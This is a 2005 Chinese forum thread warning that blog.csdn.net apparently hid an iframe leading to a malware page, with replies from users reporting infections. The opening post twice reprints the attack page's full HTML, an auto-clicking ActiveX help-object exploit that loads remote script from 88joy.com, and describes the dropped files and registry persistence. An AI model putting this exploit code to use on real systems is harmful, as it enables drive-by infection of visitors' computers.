110,537
社区成员
发帖
与我相关
我的任务
分享CSDN竟然传播病毒!
进入http://blog.csdn.net会感染病毒!
在这一页查看HTML源代码,会发现最底下有
<iframe src=http://www.88joy.com/event/files/image/ad.htm width=0 height=0 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
这个就是传播病毒的页面!
他会下载并生成一个svchost.exe的文件,并修改C:\autoexec.bat,生成cserver.exe,并修改你的主页,还会修改注册表里的run项,每次启动时病毒就会启动!
用瑞星查瑞星不认为是病毒,但这个行为以经里病毒的行为了!
以下是http://www.88joy.com/event/files/image/ad.htm的HTML代码
<HTML><head><LINK href="ray.exe" rel=stylesheet type=text/css></head><BODY><div style="display:none"><OBJECT id="ray" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl"><PARAM name="Item1" value='command;file://C:\WINDOWS\Help\apps.chm'></OBJECT><OBJECT id="raystyle" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl"><PARAM name="Item1" value='command;javascript:eval("document.write(\"<SCRIPT src=\\\"http://www.88joy.com/event/files/image/ray.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'></OBJECT></div><SCRIPT>ray.Click();setTimeout("raystyle.Click();",0);</SCRIPT></BODY></HTML>
在这一页查看HTML源代码,会发现最底下有
<iframe src=http://www.88joy.com/event/files/image/ad.htm width=0 height=0 frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
这个就是传播病毒的页面!
他会下载并生成一个svchost.exe的文件,并修改C:\autoexec.bat,生成cserver.exe,并修改你的主页,还会修改注册表里的run项,每次启动时病毒就会启动!
用瑞星查瑞星不认为是病毒,但这个行为以经里病毒的行为了!
以下是http://www.88joy.com/event/files/image/ad.htm的HTML代码
<HTML><head><LINK href="ray.exe" rel=stylesheet type=text/css></head><BODY><div style="display:none"><OBJECT id="ray" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl"><PARAM name="Item1" value='command;file://C:\WINDOWS\Help\apps.chm'></OBJECT><OBJECT id="raystyle" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl"><PARAM name="Item1" value='command;javascript:eval("document.write(\"<SCRIPT src=\\\"http://www.88joy.com/event/files/image/ray.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'></OBJECT></div><SCRIPT>ray.Click();setTimeout("raystyle.Click();",0);</SCRIPT></BODY></HTML>
...全文
请发表友善的回复…
发表回复
BigIdiot628 2005-05-15
- 打赏
- 举报
打不开
BigIdiot628 2005-05-15
- 打赏
- 举报
去体验一下。
277894613 2005-05-15
- 打赏
- 举报
>>>>>studydotnet()
反对!
违背程序员的职业道德
反对!
违背程序员的职业道德
niuniu502 2005-05-14
- 打赏
- 举报
我的电脑也中了,但不知道怎么删
gudengyeren 2005-05-14
- 打赏
- 举报
可能被黑了吧，
studydotnet 2005-05-14
- 打赏
- 举报
对啊,这问题怎么解决??
ivorstar 2005-05-03
- 打赏
- 举报
我的机器最近老系统占用率100%，一看是svchost进程，会不会是楼主说的啊，怎么解决啊？
studydotnet 2005-05-02
- 打赏
- 举报
我和楼主遇到同样的问题
也是在ＣＳＤＮ上遇到的．
和你的一模一样
不一定是csdn做的．其它网站有可能做的．
以后我们做病毒吧．有前途的
也是在ＣＳＤＮ上遇到的．
和你的一模一样
不一定是csdn做的．其它网站有可能做的．
以后我们做病毒吧．有前途的
dolfin 2005-05-02
- 打赏
- 举报
晕死，21世纪是病毒横行霸道的时代！
最近我也发现多了个文件C:\WINDOWS\system32\cba\task.exe，老是访问internet，幸好被金山网镖逮住了，删除这个文件，重启又有，金山毒霸2005查不出来，郁闷~~~
最近我也发现多了个文件C:\WINDOWS\system32\cba\task.exe，老是访问internet，幸好被金山网镖逮住了，删除这个文件，重启又有，金山毒霸2005查不出来，郁闷~~~
usepc 2005-05-02
- 打赏
- 举报
有人看你的贴么？没这回事。
bluesean 2005-05-02
- 打赏
- 举报
是不是被黑了？
